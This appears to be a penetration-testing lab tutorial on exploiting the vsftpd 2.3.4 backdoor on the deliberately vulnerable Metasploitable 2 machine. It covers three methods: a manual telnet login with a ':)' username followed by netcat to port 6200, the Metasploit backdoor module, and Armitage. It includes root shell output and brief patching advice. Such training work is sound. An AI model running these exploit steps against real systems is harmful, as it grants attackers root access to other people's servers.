Metasploitable 2: Gain Access using vsftpd 2.3.4

The way hackers gain access to machines is through vulnerabilities. You can think of these vulnerabilities as open doors to your system. Hackers leverage these open doors (vulnerabilities) to gain access to systems. The Metasploitable server has an FTP vulnerability (vsftpd 2.3.4). 

In this section of the lab, you will exploit this vulnerability to gain access to the server.

Vulnerability: The Vulnerability that we are going to exploit in this lab is a malicious developer to an open-source UNIX FTP server called vsftpd. The back door allowed the attacker to gain access to the terminal on the vulnerable machine. The attack was activated when the attacker logged into the username ending in :) and an invalid password. Once the attack was activated it opened a reverse shell on port 6200.

Reverse Shell: A reverse shell is a malicious program that connects to an attacker’s machine, allowing the attacker to execute terminal commands on the compromised machine. In a later lab, we will write a reverse shell.

Background: A FTP (File Transfer Protocol) server is a program that allows users to upload and download files from a machine.

In this section, I will demonstrate you in 3 different ways:


Method 1: Manually Exploit

Follow the below instructions to get a backdoor connection:


Step 1: Connect to the FTP server using telnet

Open the terminal, and type the following command:

  • Remember to add the port number towards the end:  [Important: telnet is an old technology, no backspace]

┌─[mrdev@mr-dev]─[~]
└──╼ $ telnet 192.168.56.3 21
Trying 192.168.56.3...
Connected to 192.168.56.3.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS pass

This is a part of a vulnerability that was placed in the open-source FTP server, by an unknown user. This user created this vulnerability by modifying the opensource code for the vsFTP server, to include a check for :) in the username field if a user included a :) in the username, the backdoor was activated.


So you might be wondering. What is a backdoor? 

A backdoor is a program, that an attacker places on a machine that gives the hacker access to that machine’s terminal.

In the step above, the attacker is activating the backdoor. In the subsequent steps, the attacker connects to the backdoor running on port 6200 and issues a command to the terminal.


Step 2: Connect the backdoor using Netcat

Now that you activated the back door you can log in to get access to the terminal (Get Shell). By connecting to the “ backdoor ” that is running on 6200

Connect the backdoor using Netcat.

Notice: Executes the ls command in the terminal of the compromised machine and returns the directory listing on the machine. 

┌─[mrdev@mr-dev]─[~]
└──╼ $  nc 192.168.56.3 6200          # To get interact
id          # To find out user and group names and numeric ID's
uid=0(root) gid=0(root)
ls          #To list the directories and files
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz


Method 2: Using msfconsole (Metasploit Framework)

Using Metasploit is quite the easiest to exploit a machine. This will work if the exploit is within the search list.

Remember: If you want to be an Elite Hacker then you have to study coding and find out your own path to get a backdoor connection.

Follow the below steps to get exploit the server:


Step 1: Start the Metasploit Framework

Metasploit Framework comes preinstalled with ParrotSec and also in Kali. You can run it from Application → Pentesting → Exploitation Tools → Metasploit Framework → Metasploit Framework's console.

Executing msfconsole-start
[sudo] password for mrdev: 
[i] Database already started
[i] The database appears to be already configured, skipping initialization
[i] Database already started
[*] Initializing msfd...
[*] Running msfd...
                                                  

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        https://metasploit.com


       =[ metasploit v6.1.9-dev                           ]
+ -- --=[ 2169 exploits - 1149 auxiliary - 398 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: After running db_nmap, be sure to 
check out the result of hosts and services

msf6 > 

Step 2: Seach Exploit

Run the search command to find if is there any exploit available or not:

msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor


Step 3: Use Exploit

Run the "use" command to use the exploit to get interact with our target: You can also use the path (use eploit/unix/ftp/vsftpd_234_backdoor).

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 

Step 4: Configure exploit options

Run show options and check the needed parameters.

  • Here it only needs RHOSTS (Remote Hosts).

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options 

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploi
                                      t
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Step 5: Gain Access

Once All done! run exploit to get the shell:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.3:21 - USER: 331 Please specify the password.
[+] 192.168.56.3:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.3:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.1:43149 -> 192.168.56.3:6200) at 2022-01-12 19:35:09 +0530

id
uid=0(root) gid=0(root)
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

 

Method 3: Using Armitage

Armitage also comes pre-installed with ParrotSec (Learn More).

Follow the below steps to exploit using Armitage:

Step 1: Setting up Armitage

You can run it from Application → Pentesting → Exploitation Tools → Metasploit Framework →  Armitage.

Once started click Connect:


Step 2: Quick Scan

Once you get connected you need to scan the hosts [Hosts→Scan→Quick Scan or Quick Scan(OS Scan)]. Enter the scan range to the vboxnet0 IP address on your machine in my case 192.168.56.1/24.


Step 3: Find Attacks

Once You find out your target then click on Attacksfind Attacks.

Note: Some time it may not work. Click on ArmitageSet Exploit RankPoor.


Step 4: Attack using vsftpd 2.3.4

Right-click on the target machine → Attack ftp vsftpd_234_backdoor.


Once everything ok click on Launch. If the exploit is successful then the look will be changed to attack mode:


Step 5: Get shell interaction

Right-click on the target machine → Shell 1  interact. Now you can run commands in the below shells:


How to fix it?

So how do we fix this vulnerability? Newer versions of the vsftpd FTP server, have identified and patched these vulnerabilities, so the best way to secure this server is an updated version of vsftpd. sudo apt-get update vsftpd.(The Metasploitable machine is designed to be vulnerable so it is not configured to support updates.)

Post a Comment

0 Comments
* Please Don't Spam Here. All the Comments are Reviewed by Admin.

#buttons=(Ok, Go it!) #days=(20)

Our website uses cookies to enhance your experience. Learn More
Ok, Go it!